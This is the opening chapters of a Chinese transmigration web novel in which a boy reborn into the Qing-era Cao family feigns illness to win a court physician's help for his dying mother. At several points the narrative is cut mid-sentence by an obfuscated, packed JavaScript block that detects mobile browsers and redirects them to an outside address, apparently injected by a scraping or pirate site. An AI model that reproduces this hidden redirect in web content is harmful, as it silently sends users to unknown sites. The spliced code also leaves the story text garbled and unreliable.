《大清望族(清穿)》 1. 第 1 章 十一月的江南,空气中带着阴冷与潮湿。 深吸一口气下去,似是五脏六腑都带着凉意,凉飕飕的,冷得叫人直打寒噤。 “唉,这叫什么日子哟!这日子简直过不下去!” “姜姨娘病得起不来身也就算了,屋漏偏逢连夜雨,竟连六爷也病成这样子!偏偏二夫人压着咱们不准去请大夫,怕是要趁着这个机会逼死六爷母子!” “他也是我看着长大的,虽说这孩子平日里像个锯嘴的葫芦,一天到晚嘴里蹦不出三句话来,可难道真要眼睁睁见他丢了性命不成?” “这不是造孽吗?” …… 躺在床上的曹桑实觉得自己身上时冷时热。 外间不断传来乳母和几个丫鬟的说话声,她们一个个嘴上说着“命苦”,却没谁进来看看躺在床上昏睡了三天三夜的他。 即便他只有五岁半。 这三日的时间里,曹桑实是睡了醒、醒了睡,迷迷糊糊间隐约也知道发生了什么事。 前世因心脏病,年纪轻轻的他死在了手术台上。 这世他是江南曹家的幼子。 这天底下姓曹的人家多了去,但在康熙五十一年,最显赫的莫过江宁织造府曹家。 在江南,乃至于整个大清,提起江宁曹家,是无人不知无人不晓。 谁人提起江宁曹家,都会竖起大拇指说上一句——这曹家呀,可是顶顶显赫的人家! 曹家孙老夫人是当今皇上乳母,今年七月才故去的那位大老爷是当今皇上伴读,两人自小一起长大……从康熙二年起,内务府在江宁设下织造府,曹家自老太爷曹玺到如今的当家人曹頫,祖孙三代任职已有四十九年。 皇上先后六次南巡,其中四次都住在曹家,更是握着孙老夫人的手亲热称呼她老人家为“此乃吾家老人”。 此等荣耀,整个大清哪里能找出第二家来? 可惜,天下万物皆逃不过盛极必衰的规律。 四年前,西府二老爷曹荃,也就是曹桑实的父亲去世。 四个月前,东府大老爷曹寅也去世了。 孙老夫人再次白发人送黑发人,一时撑不住,如今已缠绵病榻数月。 曹家东西二府如今皆靠着曹寅的亡妻李夫人撑着,她连东府都自顾不暇,哪里还顾得上西府? “咳咳……”年仅五岁的曹桑实也深知自己处境不妙,秉持着“开水治百病”的信念,这三日里但凡清醒点就猛灌开水,今日身子总算比先前舒服了些,“乳母,乳母……” 他的声音小小的,像猫儿叫似的。 外间的乳母正低声说着西府的陈年旧事,正说得起劲。 “……这姜姨娘长得就像狐狸精转世似的,别说咱们西府,就是江宁,乃至整个江南,都难得找出比她还好看的女人来。” “想当初她刚进府时那叫一个得宠哟,可惜,她却是恃宠而骄,仗着自己有了身孕,害死了二夫人肚子里的孩子。” “二老爷向来看重脸面,就算与二夫人感情不好,却也不会任由着一个姨娘这样作乱,从那之后对姜姨娘母子再也没看过一眼!” 人群中的她声音压得很低,正欲再说上几句时,却听见里间传来瓷器落地的声音。 奴才私下非议主子,轻则打板子、重则被卖出府。 张乳母吓得一个激灵,这才听到到曹桑实正喊自己呢,忙走了进去。 “六爷,您醒啦?” “大夫说了,您年纪小、身子弱,得好好歇着,快、快躺下!” 好好歇着也不是这样一个歇法呀! 不给自己请大夫抓药也就罢了,吃的喝的没有,如今竟连清水都没有? 曹桑实又咳嗽几声,低声道:“乳母,我想喝水,我想吃东西……” 他认得眼前这人,这人姓张,是嫡母常氏为他请的乳母,心倒不是极坏,却是个胆小怕事,左右逢源的。 “乳母,我,我……姨娘了?” “为什么我病了整整三日,她都没有来看我?” 傻孩子,当然是因为你姨娘也快病死了啊! 张乳母也是当娘的人,看着这可怜的孩子,话到了嘴边却是怎么都说不出来。 纵然她这个当乳母的也觉得姜姨娘过于缺德,却不得不承认姜姨娘是少见的美人儿。 儿子像娘,眼前的曹桑实也是曹家主子中最好看的那个。 圆乎乎的白脸盘子,一双大眼睛是澄澈明亮,笑起来露出一排整整齐齐的小米牙,嘴角还露出两个浅浅的梨涡,谁见了能不喜欢? 可现在,那双好看的大眼睛却是红扑扑的。 他似是猜到了些什么,扇子似的睫毛一闪一闪,方才说话的声音里更是带着几分哭腔。 心底长长叹了口气,张乳母看着自己奶大的孩子道:“六爷乖,姜姨娘这几日来过几次,却被奴才等人劝回去了。” “姜姨娘一向体弱,这几日天儿又冷得很,若您将身上的病气过给她那就不好了。” “您且好好养着,等您病好了就能看到姜姨娘。” 她身侧的几个丫鬟也都是看着曹桑实长大的,瞧见这孩子病得可怜,也怕他深究这个话题,忙道:“奴婢叫小厨房给您煮碗鸡汤小馄饨送过来好不好?” 曹桑实乖乖点了点头。 他记得原主最喜欢的就是鸡汤小馄饨。 汤底是用猪骨、鸡架、猪皮、鸡脚足足熬上三个时辰,熬得汤底是汤底奶白,骨头渣都要化了。 再将新鲜的河虾肉、黄鱼肉、猪肉捶打成泥,馅料里并未加入碎葱花,而是加的春日才有的红根韭菜,细细碎碎的红根韭菜宛如点缀,增添清香,面皮亦擀得薄如蝉翼,刚浮起,就连忙捞了起来。 这白瓷碗里装着碎干紫菜、葱花、芫荽、虾粉等调料,热汤一催,满屋子皆是扑鼻的鲜香。 不过一刻钟的时间。 张乳母就送进来这样一碗小馄饨。 这白瓷碗只比曹桑实拳头大点,精致异常,一个个小馄饨不过寻常人大拇指大小,一口下去,馅料绵软鲜润,皮子弹爽柔滑,似能将人的舌头都鲜掉。 前世曹桑实品尝过不少“科技与狠活”,竟没有什么东西能比得上这碗小馄饨。 再想到不过一刻钟的时间就有这样一碗小馄饨送上桌,他这个不受宠的庶子院中大概都养可不少人,可想而知曹家东西二府到底养了多少人。 也难怪,难怪历史上曹家欠了朝廷那么多银子。 也难怪,难怪历史上雍正帝一上台就忙着清算曹家,说不准雍正帝的日子过的都及不上曹家呢。 曹桑实将整碗汤都喝得一干二净,又怯生生道:“乳母,我没有吃饱……” 张乳母一愣,继而又吩咐小厨房送了两碟子刚出锅的糕点和一碟盐焗鹌鹑蛋。 张乳母等人谁都没有将曹桑实这个小娃娃放在眼里。 在她们看来,她们不过是在曹桑实死前多做些好事,为后代积府罢了。 前些日子,这位小六爷病得是有进气没出气,不过几日的时间,小脸就瘦了一圈。 想当日,大老爷病了,东府里是日日汤药不断,光是从京城赶来的太医都有好几位,依旧没留住大老爷,这无人照应的小娃娃哪里活得长? 故而她们一个个在外间说起闲话也没什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143026|164572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么避忌。 “……京城好像又有太医来了,说是还有什么太医院的院判,皇上说了,要他无论如何都要医好老夫人。” “短短几年时间里,老夫人的两个儿子都没了,心病还须心药医,别说是什么院判,就算是华佗再世,只怕也救不回老夫人的命。” “唉,若非老夫人病重,二夫人哪里敢对姜姨娘母子这般?” …… 曹桑实听的是认真极了。 他隐约也记得他那嫡母常氏对孙老夫人很是惧怕,若是孙老夫人身子康健,他们母子也不会落得这般境地。 不过正因常二夫人近来很是放松,西院的丫鬟婆子也跟着懈怠起来。 曹桑实与姜姨娘所居的兰畹到了戌时一刻就已看不见人影。 畹,为十二亩。 空荡寂寥的兰畹仍能瞧出从前的姜姨娘很是得宠,毕竟江南地价虽不如京城值钱,但常二夫人的院子也就堪堪十来亩。 夜黑如墨,雪花似天女散花似的轻盈落下,悠悠飞舞,衬得整个院子是愈发寂寥。 半人高的曹桑实怀中揣着油纸包的糕点和盐焗鹌鹑蛋,朝姜姨娘屋子方向走去。 和他想的一样,姜姨娘屋子里空无一人,连个值夜的丫鬟都没有。 “姨娘?” “姨娘?” 曹桑实在黝黑空荡的屋子里摸索前行,按照记忆中的方向,终于摸到了床前。 深褐色黄花梨木床上躺了个面色如雪般苍白的女子,呼吸微弱,身形消瘦……看着是身子极不好的样子。 他隐隐约约记得曾听张乳母说过,姜姨娘出身微寒,当年被他爹曹荃“英雄救美”后便将一颗心全放在曹荃身上,曹荃却因姜姨娘铸下大错后,视他们母子为草芥,从那之后,姜姨娘身子便一日不如一日。 如今再有常二夫人刻意磨挫,姜姨娘的身子更是急转直下、一发不可收拾。 试想,若他是常二夫人,也不敢对自己下死手,但是逼死个姨娘,落在刚死了心爱儿子的孙老夫人眼里,可不算什么大事。 曹桑实握住姜姨娘那枯槁瘦弱的手,声音微扬。 “姨娘,我是莽儿啊,您快睁开眼睛看看我!” 姜姨娘眼皮微动,却到底没能睁开。 曹桑实深知这样下去,不出三五日他姨娘就要下去见他那便宜爹,如今也只能死马当成活马医,掏出怀中的油纸,不由分说将糕点往姜姨娘嘴里塞。 可惜,一切皆是徒劳。 姜姨娘皱了皱眉头,似是很难受的样子。 今日他带来的两样糕点中,一样是栗粉糕,一样是枣泥山药糕。 毕竟他尚在病中,兰畹中小厨房准备的都是些好克化且养脾胃的糕点。 冬天正是吃栗子的时候,孙老夫人是紫禁城中出来的老人儿,在吃食上向来讲究,栗粉糕上撒了细细一层桂花糖霜,细腻的栗子糕中间还夹了层带着颗粒状的栗子粒。 吃起来细腻绵柔的同时又带有层次感,他觉得味道很不错。 但如今,他却是借着外头的萤萤光亮将几块栗粉糕在凉水中捣碎,就着调羹一勺勺喂给了姜姨娘吃。 流食比起整块的糕点好喂许多,虽几次有汁水溢出嘴角,但姜姨娘还是喝了大半碗栗粉糊糊。 曹桑实将他姨娘嘴角擦干净,一切收拾好后,这才将剩下的枣泥山药糕等吃食塞进姜姨娘被子里,这样既不会叫旁人发现他来过,又能叫姜姨娘醒来之后有吃食。 到了最后,他更是握着姜姨娘的手,轻声道:“姨娘,我知道您听得见,您要好好的,一定要好好的!若连您都没了,这世上就真的没人管我。” 2. 第 2 章 等曹桑实神不知鬼不觉回去了自己屋子,屋内只放了个聊胜于无的炭盆。 他先靠近炭盆将身子烘暖和,又灌下去一碗热茶,这才觉得浑身上下舒服了些。 翌日。 曹桑实依旧在装睡。 装睡的同时,他也从嘴上没把门的张乳母处听到了很多消息。 比如,常二夫人这次是打定主意要铲草除根,打算除去姜姨娘,甚至当日姜姨娘染上风寒也是常二夫人的意思,甚至在姜姨娘病后还吓唬她说自己已经死了。 比如,孙老夫人的病是是好是坏,正因如此,常二夫人生怕孙老夫人病好后与她算账,这才不敢对自己下死手。 又比如,此次皇上从京城派下的太医中有一位秦院判,医术极好,在京城有“秦金针”之称,说是秦院判金针一出,不管什么疑难杂症都能药到病除。 …… 曹桑实是专心养病,夜里偷偷去看姜姨娘,给姜姨娘送吃的。 托秦院判的福,虽说孙老夫人暂时尚未好转,但张乳母等人对曹桑实的态度却是热枕了许多。 这会,张乳母看着眼前坐在床上、宛如小大人似的曹桑实,以为自己听错了。 “……您说什么?您今儿又想吃茯苓糕和梅花米糕?还想吃一碟水晶虾饺?” “这会不会太多了点?您这身子才刚有好转,若是积食就麻烦了。” 张乳母远在兰畹,窥探到西府正院之事都不容易,更别说打听到东府的事,一时间也拿不准到底对曹桑实是个什么态度,只斟酌道:“您这几日每顿吃的不少,晚上夜里还要吃点心,这糕点也就罢了,怎么还要吃水晶虾饺?” “虾饺不比糕点,若是吃了凉食,当心肚子疼的。” 曹桑实也不愿他那病怏怏的姨娘吃凉食,这不是没有办法的事嘛,吃点荤腥,肚子里才能有油水,哪顾得上什么凉的热的? 他想着这几日晚上过去姜姨娘屋子时,姜姨娘虽昏睡着,但吃食却是吃的一干二净。 “乳母,不要紧的,我这大病初愈的,所以得好好补一补。” “这屋里不是有炭盆嘛?我若饿了,将虾饺放在炭盆上烤一烤就是了。” 这……张乳母都有点听不下去,想着秦院判许是能将老夫人从鬼门关拉回来,忙跪地道:“您说的是,您身子弱,当然得好好补补。” “从前是院中事多,忙的抽不开身,这才停了值夜丫鬟的差事,从今夜起,会有丫鬟守着您的,您若想吃什么,只管说一声就好。” “可是这样,你们对母亲好交代吗?”曹桑实轻声发问。 张乳母有几分犹豫。 “乳母,不必麻烦了。”曹桑实看似站在张乳母这边,设身处地为张乳母等人着想,“自父亲去世后,偌大个西府都是母亲说了算,我知道母亲不喜欢我和姨娘,我也知道一直没人为我请大夫,也是母亲的授意。” “虽说兰畹上下所有丫鬟婆子领得都是公中的月钱,可若是母亲不高兴,你们的日子必不好过。” 说话时,他那双澄澈明亮的眼睛看着张乳母:“若叫母亲知道祖母尚未好转,你们就这样阳奉阴违,定会不高兴的,所以值夜的事,就缓缓吧。” 短短几句话说的张乳母是又羞又愧。 整个兰畹上下三十六个丫鬟婆子,包括她在内,皆是各怀心思,有门路的走门路,有银子的使银子,都想被调走……可六爷却还心心念念为她们着想。 “好孩子,咱们六爷真是个好孩子,好,乳母听您的,都听您的。” 张乳母抹着眼泪出去了。 很快,小厨房就送来了四碟糕点并曹桑实点名要的水晶虾饺、四馅素包等四样小点。 入夜,曹桑实就将这些吃食选了几样包起来朝姜姨娘屋子方向走去。 这一次,他刚推门,就听到了咳嗽声。 紧接着,姜姨娘那虚弱的声音就传了过来。 “莽儿?是……你吗?” 曹桑实快步行至床前,握住姜姨娘那枯骨如柴的手:“姨娘,我在呢!” 姜姨娘的美是毋庸置疑的,纵然病得厉害,纵然是面色苍白,却像是残败枝头一朵摇摇欲坠的小白花,孤寂、动人/叫人忍不住心生怜惜。 她面上含笑,眼角带泪:“莽儿,你还活着,我,我还以为……你已经没了……” 一开始,病中的她听说自己儿子没了,她自是不信的,可黄妈妈却冷着脸道:“不信?这有什么可不信的?这样大的事,难道我还诓你不成?两位老爷的命都没保住,六爷一小娃娃,爹不疼娘不爱的,阎王爷不找他找谁?” 但她等了几日,却没能等到曹桑实过来,这才信了。 曹桑实听姜姨娘说起这些,想着他这亲娘真是不折不扣的小白花,单纯的可怕:“姨娘,前些天我没能过来看您是因为病了,所以这才叫黄妈妈钻了空子。” “您本就病得厉害,听说我没了的消息,定会伤心欲绝,哪里撑得住?” 他对这黄妈妈有点印象,阴坏且狠毒:“这黄妈妈太坏了些,若您有了三长两短,黄妈妈到了二夫人跟前又是大功一件。” “所以您一定得好好振作起来,不仅不能叫他们得意,也是为了我呀。” 姜姨娘看在半跪在床前的儿子,想要挤出笑容,但眼泪却落得愈发厉害:“我的身子如何,我心里有数,本就撑不下去,更别提二夫人刻意为难。” 她伸出手去摸曹桑实那胖嘟嘟的小脸:“我不怕死,我只是担心你,若老夫人身子康健,二夫人行事还有所顾忌,可如今……” 她虽没有明说,但曹桑实听得出来,她怕是时日无多。 曹桑实也是知道的。 这个年代,一场风寒就能夺人性命,像姜姨娘这样身体不好的小白花想要痊愈的确不是易事。 他心中明白归明白,却还是打起精神安慰起姜姨娘几句。 等姜姨娘吃下几块糕点后,他这才离开。 *** 托常二夫人的福,曹桑实每天夜里能偷摸给姜姨娘送吃食。 可惜,知晓儿子尚在人世的姜姨娘虽心情好了不少,但身子仍是病怏怏的,且未能得到及时医治,身子仍是一日不如一日。 曹桑实看在眼里,急在心里。 这日,他正躺在床上深思到底该怎么办,就听到廊下传来张乳母与人闲话的声音。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143027|164572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “真是阿弥陀佛,这秦院判的确是医术过人,这才几日呀,老夫人的病情就日渐好转,真是佛祖保佑!” "老夫人向来心善,定会平安无事的。" …… 曹桑实虽与孙老夫人接触不多,但也知道比起故去的伯父,孙老夫人更像曹家的定海神针。 她老人家若能平安无事,曹家的风光还能存续。 若她老人家没了,很快曹家就会面临树倒猢狲散的境况。 等等! 秦院判既医术高明,能将伤心欲绝、鬼门关前的孙老夫人拉回来,岂不也能救回姜姨娘? 曹桑实心下一动,已有了计划。 当下他就与张乳母打听起来,很快就知道这位京城来的秦院判是什么来历。 秦院判,微寒出身,从小吃百家饭长大,七岁那年因聪明有眼力见得以拜村头无儿无女的赤脚大夫为师,后因医好了县令大人的中风之症名声大噪。 接下来他辗转至京城,在京城赫赫有名,三十岁出头时就入了太医院,后来得皇上信赖,尚不到四十就已成为太医院院判。 用喜好八卦张乳母的话来说,也就是如今太医院院正年事已高,皇上也就念他这么多年没有功劳也有苦劳,不然这院正的位置早就换成了医术极高明的秦院判。 曹桑实知道,虽说张乳母的话有一定夸大其词的成分,但想来这位秦院判医术不错,起码比江南这些名医强。 到了晌午时分。 曹桑实正坐在床上看绣像呢,张乳母就带着小丫鬟走了进来。 张乳母笑道:“六爷,今儿小厨房为您备下的是口蘑肥鸡、炉肉熬冬瓜、猪肉馒首、焖跑跶丝、花椒油炒白菜,还有一壶姜枣茶。” “今年冬天似格外冷,您这病尚未大好,多喝点姜枣茶也能驱驱寒。” 绣像,也就是后世的连环画。 曹家的孩子到了四岁就会请先生启蒙,曹桑实也不例外,只是他那书房里却没几本启蒙读物,多是些《老鼠娶亲》、《聊斋全图》等一些玩物丧志的书籍。 这些书,都是常二夫人派人送来的。 曹桑实接过小丫鬟递上来的姜枣茶,想着今日自己伙食又上了个台阶,定是孙老夫人身子已无大碍。 他很是满意。 他小口小口喝着姜枣茶,听着张乳母在一旁说话。 “……六爷晚上想吃点什么?叫奴婢说,您晚上吃些清淡好克化的最好,不如叫小厨房煮上一锅羊肉山药粥,再清炒几道小菜?” “若您想吃荤食的话,那就再叫小厨房加一道笋干兔丁吧。” 曹桑实乖觉点点头,继而冲着张乳母笑道:“一切都听乳母的。” 他从前就是个闷葫芦,如今虽和从前有些不一样,但大多数时候仍是寡言少语,张乳母并未多想,倒是觉得这孩子比起从前讨喜了不少。 笑眯眯的好看小娃娃,谁能不喜欢? 张乳母正欲带着小丫鬟下去时,却见着曹桑实手猛地一抖,两眼一翻,就开始躺在床上抽搐起来。 张乳母吓了一大跳,慌忙道:“六爷,六爷,您怎么了!” “您可别吓奴婢啊!” 3. 第 3 章 曹桑实却是抽搐个不停。 张乳母顿时吓得是三魂丢了两魂半。 曹桑实虽是姜姨娘肚子里生出来,但和病怏怏的姜姨娘不一样,不知是曹桑实身子骨还不错的缘故,还是姜姨娘一直对曹桑实呵护备至的缘故,曹桑实长到五岁半,生过最大一场病就是先前的那场风寒。 张乳母是个经不起事儿的,吓得眼泪直掉,六神无主。 昨儿病中的孙老夫人还问起了家中几个孩子的情况,对于曹桑实,下头人的答复则是——六爷前些日子染上了风寒,这几日已经好的八九不离十。 若曹桑实真个三长两短,她们该如何交代? 张乳母进府的时间虽不长,却也听人说过的,孙老夫人虽和善,却是紫禁城出来的精奇嬷嬷,内里多的是心计和手段,要不然怎么能压得常二夫人服服帖帖? 若孙老夫人怪罪下来,她们这些近身伺候的人不死也得脱层皮! 还是她身边的玉树扬声道:“快,你们一个个还愣着做什么?还不快去请大夫!” 曹家养着三位大夫,很快就来了位白大夫。 等白大夫提着药箱气喘去去赶来时,曹桑实已躺在床上,只见他双眼紧闭,时不时身子抽搐一二,瞧着仍有几分吓人。 白大夫是替曹家主子看病的老大夫,替贵人们看诊,他向来不求有功只求无过。 这病若医好了,是他医术精湛。 若是医不好,则是阎王爷索命。 白大夫的手搭在曹桑实的手腕上,只觉这孩子不过气息稍弱,并未大碍,可人一直昏睡着,他压根找不出病症,只能胡诌起来:“……你们莫要担心,想来是六爷先前染上风寒,身子尚未痊愈的缘故,待我为六爷开上一副安神汤,先喝上一日看看。” “那敢问白大夫,这六爷何时能醒过来?”张乳母惴惴道。 白大夫故作高深道:“六爷的脉象时而湍急,时而和缓,许是气血不旸之的缘故,先调理调理再说吧。” 装病的曹桑实:“???” 这白大夫的话说了不是等于没说吗? 张乳母差人送走了白大夫,便吩咐人煎药,继而又道:“快,将黄妈妈请过来。” “这事儿得叫黄妈妈拿出个章程,若六爷有个三长两短的,老夫人怪罪下来……” 后果,她是想都不敢想。 纵然孙老夫人不大喜欢曹桑实,但这孩子身上却也流着二老爷的血啊。 张乳母等人左等右等,足足过了一刻钟,总算等来了黄妈妈。 黄妈妈是兰畹的管事妈妈。 简而言之,整个兰畹,除了两位主子,也就数她最大。 黄妈妈虽并非常二夫人的陪房,但她的亲弟弟娶了常二夫人身边的陪嫁丫鬟,这七拐八顺的,再加上她向来擅长阿谀奉承,也就成了常二夫人的心腹。 黄妈妈身形矮小,长了双吊三角眼,一进来先是冷冷扫眼床上的曹桑实,继而没好气道:“找我来做甚?这白大夫都医不好的病,难不成我还能有法子?” “从前老夫人就说过,这六爷是个福薄的。” “这阎王爷要索他的命,我们哪里留得住?” 张乳母的嘴皮子动了动,可对上她那含笑的眼神,话到了嘴边还是咽了下去。 还是玉树犹豫几许,忍不住开口道:“妈妈,话虽这样说没错,可若老夫人怪下来该如何是好?昨儿老夫人身边还有人来问话,问六爷身子如何,张乳母说的是六爷身子已无大碍,大概过几日就能痊愈。” “这话是谁说的,来日老夫人怪罪下来就找谁去好了。”黄妈妈想着前两日常二夫人刚赏下来的一两银子,心头略有些不悦,“你这丫头张口闭口就是老夫人,莫要忘了,这西府到底是谁说了算。” 紧接着,就是一阵沉默。 沉默的装病的曹桑实都有几分紧张起来。 这几日他没与张乳母套近乎,而是与玉树走得很近。 玉树虽只是他身边的二等丫鬟,但却是有什么说什么的直肠子,要不然也不会样貌身段俱佳的她被会送到兰畹当差。 这几日他像是鹦鹉学舌似的在玉树跟前说个不停,说他是二老爷曹荃的遗腹子,说虎毒尚不食子,更别说曹家子嗣不丰……听得多了,玉树也觉得他这个庶子在孙老夫人心里也是有点分量的。 只是可惜,玉树的话在兰畹根本没多少分量。 好在这黄妈妈也不是个蠢的,犹豫许久,直摆手道:“罢了,玉树,你去东府的萱瑞堂一趟,与孙嬷嬷说一声,就说六爷不好了。” 她并非好心,而是避嫌。 曹桑实这病来的稀奇,若曹桑实真醒不过来,她也能将自己摘得干干净净。 玉树应了声,忙一溜烟下去。 黄妈妈很快转身也走了。 偌大的屋子,只留下张乳母的长吁短叹,话里话外皆是感叹曹桑实母子命苦。 约莫小半个时辰后,玉树就带着秦院判来过来。 张乳母看到秦院判的时候吓了一跳,又是差人端茶又是叫人递水的,很是殷勤。 秦院判却是挥挥手,示意她不必忙活,先行给曹桑实诊脉起来。 曹桑实感受到秦院判的手搭在自己腕上。 接着,又是一阵沉默。 秦院判虽年纪不大,却也是纵横高门宫闱的老人,他医术高明,略一号脉就察觉到眼前这小娃娃在装病——这可是京城那等不喜念书纨绔子的老把戏。 他再一看这床上的小娃娃睫毛微动,心下是愈发笃定。 不过,这小娃娃为何要装病? 张乳母见他沉吟不语,吓得不行,低声道:“秦院判,六爷,六爷……没什么事吧?” 秦院判自不会明晃晃拆穿曹桑实的把戏,从前他碰上这等事,只管施针,三两针比手指头还长的金针下去,再混账的纨绔子都会很快醒来。 “没什么大碍,我略施针一二,六爷很快就会醒的。” “我施针时不喜有人在场,你们都下去吧。” 张乳母悬着的心这才放了下来,忙带着玉树等人下去。 秦院判则开始摆弄起自己的金针来。 可还未等他取出金针,还未使出自己的三板斧,床上的曹桑实就坐了起来。 四目相对。 曹桑实的眼中不见尴尬、仓皇,有的只是坦荡。 他一开口就道:“还请秦院判莫要怪罪,我只能用此法子才能将您引过来。” “引过来?”秦院判游走皇家贵胄二十余年,还是第一次碰上这等事,不免觉得自己像请鳖入瓮的王八,“你引我过来可是有什么事?” 曹桑实长话短说,将姜姨娘的病情道了出来,最后更是朝枕头下掏出个荷包,悉数将荷包里的金豆子、银锭子和数额最大不过二十两的银票倒在了秦院判跟前。 “……我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143028|164572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 知道您不缺银子,您之所以年纪轻轻能位居太医院院判的位置,定是个不喜掺和这些污秽事的聪明人。” “但如今我姨娘命悬一线,除了您,只怕没人能救得了她。” 说着,他就直挺挺朝着秦院判跪了下来:“求求您,救救我姨娘吧,以后只要您有需要我的地方,就算上刀山下火海,我都在所不辞。” 男儿膝下有黄金,下跪这等事对他这个穿越者来说很是陌生。 但他脑海中还保留原身的记忆,从原身出生至今,他们母子相依为命,姜姨娘是这世上最最最爱他的人,为了原身,连性命都可以不要,他占了人家身子,跪一跪……又有什么打紧的? 秦院判的确是个不喜多管闲事的,紫禁城也好,高门大族也好,多的是见不得光的事。 他能年方四十就坐到院判之位,与“明哲保身”四个字脱不了关系。 但他见着自己跟前那些碎银子,再对上那孩子澄澈的目光,只觉有些于心不忍。 曹桑实又道:“若您觉得这些钱少,等我姨娘病好好些后,会将兰畹里能卖的东西都变卖的。” “您放心,我绝不会食言……” 可惜,秦院判依旧选择了拒绝,他摇摇头道:“你这要求,恕我无能为力,我不便插手曹家家务事,若要替姜姨娘医治,更是无稽之谈,难道也要与你一样深更半夜去姜姨娘屋子里吗?” “这样,不合规矩。” 若这等事传出去,兴许他还会落个与曹家二老爷小妾有染的名声,他前途正好,他可不会趟这浑水。 曹桑实并不意外,甚至可以说早就预料到会是如此结果。 他深知要开窗先掀房顶的道理,先是垂头不语,继而含泪看向秦院判。 “秦院判,我也知道这事儿实施起来不易,不愿叫您为难。” “那您能不能帮我另外一个忙?” 他又从枕头下掏出一个平安福来,道:“若有人问起我病情如何,您能不能说我已病入膏肓,再劳您将这个平安福交给祖母身边的孙嬷嬷。” 秦院判一愣,继而却笑了起来:“你这孩子,年纪小小,却是聪明。” 说的好听是聪明。 说的不好听,则是算计。 他一乡下赤脚大夫的干儿子,能行至今日,与筹谋算计密不可分,故而他也颇为欣赏这样的少年郎——这孩子并未想着伤害任何人,只是为了保住他姨娘的性命,何错之有?若真是单纯老实,他姨娘死后很快就会到轮到他丢了性命。 秦院判很快就走出兰畹,行至萱瑞堂。 曹家东府曾是皇上南巡时的住所,为示对皇上尊敬,东府正院自是空了出来。 孙老夫人住在东府正院东边的萱瑞堂,江南的宅院向来以雅致著称,白墙黛瓦,飞檐翘角,便是寒冬的皑皑白雪下,院内也是傲然屹立着青松与柏树,其中以三两棵梅树点缀。 萱瑞堂的牌匾乃皇上亲自所书,肆意盎然,龙飞凤舞,在簌簌大雪中散发着熠熠生辉。 秦院判刚行至萱瑞堂门口,就碰见了孙嬷嬷。 孙嬷嬷眉目中带着几分急躁,正催人去请秦院判过来,一看到秦院判,忙道:“……您可算回来了,方才老夫人睡醒之后好一阵咳嗽,奴婢担心有事,正欲差人请您给老夫人看看呢。” 她引着秦院判朝屋内走去,似想起什么,不由多问了一句:“对了,秦院判,六爷没什么事吧?” 4. 第 4 章 秦院判原是打算按照曹桑实所说,将那平安福交给孙嬷嬷后随意说上几句,但想着那孩子也就与自己孙儿差不多大的年纪,到底还是心软了软。 他微微叹了口气,摇头道:“不大好,五六岁的孩子就像刚冒头的秧苗,雨一打风一吹就倒下呢。” “先前你们家六爷病了一场,连个大夫都没请,生生是靠他自己熬过来的,怕是会留下病根……” 说话时,他已步入萱瑞堂里间。 孙老夫人正由着两个丫鬟侍奉着喝燕窝粥,纵然近日雨雪延绵不断,但因这里间的窗户用的是紫禁城中常用的高丽纸糊的,洁白净透,且又因屋内宽敞,青天白日各角各处都燃着紫檀掐丝珐琅灯……是半点不显阴沉逼仄。 紫檀鎏金宝象罗汉床上躺着的正是孙老夫人。 她老人家本就年事已高,狠狠病了一场,脸色憔悴且苍白,直虚弱道:“秦院判,这府中可又是谁病了?” 如今她一听到“病”这个字,就吓得不行,已到了草木皆兵的地步。 “老夫人,还是先叫秦院判给您先看看吧。”孙嬷嬷上前,轻声道,“方才您咳嗽的厉害呢。” 秦院判上前,细细号脉后方道:“老夫人并无大碍,今日所换的药方子照着喝着,等我明日一早再来给您看看……” 孙嬷嬷皱眉道:“既是如此,为何方才老夫人会咳嗽不止?” 秦院判指了指墙角的两个錾刻鎏金如意纹的炭盆,这两个炭盆里烧的皆是上等银霜炭,许是里头还加了松枝的缘故,隐隐还带着几分清香。 “屋内不仅烧着地笼,还放了两个炭盆,过于燥热,这才导致老夫人咳嗽不止。” “将炭盆拿走,老夫人再多喝些温水即可。” 因屋内摆着两硕大的炭盆,简直称得上温暖如春,他刚进来没多久,额上就出了层薄汗。 “原来如此,那就多谢秦院判。”孙老夫人微微颔首,嘴角含笑,“这几日雨雪延绵,我向来畏寒,这才叫下头的人多添了两个炭盆。” 她老人家面上是难掩疲色,却仍不忘追问:“方才秦院判说谁又病了?” 秦院判如实告知。 在秦院判口中,曹桑实是爹不疼娘不爱,很是可怜。 他倒也没说错,孙老夫人屋内是温暖如春,曹桑实屋内那摆着的炭盆……也就是聊胜于无。 说到最后,他更是掏出一个平安福来:“……方才我未与他说起他已落下了病根,只宽慰他好好养着就会无大碍,我临走时,他给了我这个平安福。” “他说这是他姨娘孕时为他在鸡鸣寺所求,得高僧开过光,这么多年一直跟着他。” 